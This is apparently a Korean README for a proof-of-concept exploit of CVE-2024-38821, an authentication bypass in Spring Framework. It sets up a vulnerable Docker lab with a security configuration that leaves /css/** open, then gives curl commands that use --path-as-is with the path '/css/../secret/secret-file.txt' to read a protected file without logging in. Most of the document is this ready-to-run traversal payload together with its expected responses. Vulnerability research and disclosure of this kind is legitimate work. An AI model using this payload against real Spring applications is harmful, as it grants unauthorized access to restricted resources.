
CVE-2024-38821에 대한 개념 증명 익스플로잇으로, Spring Framework에서 경로 탐색을 통한 인증 우회를 통해 제한된 리소스에 접근하는 방법을 시연합니다.
이는 CVE-2024-38821 취약점에 대한 개념 증명입니다.
도커 이미지 빌드 (Spring Boot 3.3.4, Spring Framework 6.1.13 기반)
cd vuln
docker build -t cve-2024-38821-poc .
컨테이너를 실행하고 호스트 머신에 포트 8080 노출
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
다음 명령어를 실행하여 PoC를 수행하고 취약점 확인
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # 예상: 302 응답 (로그인 필요)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # 예상: 200 응답 (인증 우회)
공격이 성공하면 응답에 This is a secret file.이 표시됩니다.
SecurityConfig.java를 생성하여 접근 권한 설정:
/css/ 하위 경로는 인증 없이 접근 허용./secret/ 하위 경로는 인증 필요.public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // 정적 리소스와 최상위 페이지는 인증 불필요
.pathMatchers("/secret/**").authenticated() // "secret" 경로는 인증 필요
.anyExchange().authenticated() // 다른 모든 경로는 인증 필요
)
.formLogin().and() // 폼 기반 인증 활성화
.build();
}
다음과 같은 페이로드를 생성합니다. 페이로드가 /css/로 시작하므로 허용된 경로 패턴과 일치합니다. /secret/으로 시작하지 않으므로 인증이 필요한 경로 패턴과 일치하지 않습니다:
/css/../secret/secret-file.txt다음 curl 명령어를 사용하여 PoC를 실행하고 공격 성공 여부를 확인:
# 참고: URL 정규화 없이 요청을 보내려면 --path-as-is 옵션이 필요합니다.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
공격이 성공하면 응답에 This is a secret file.이 표시됩니다.
이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 수정되었고 적절한 권한이 있는지 확인하십시오. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.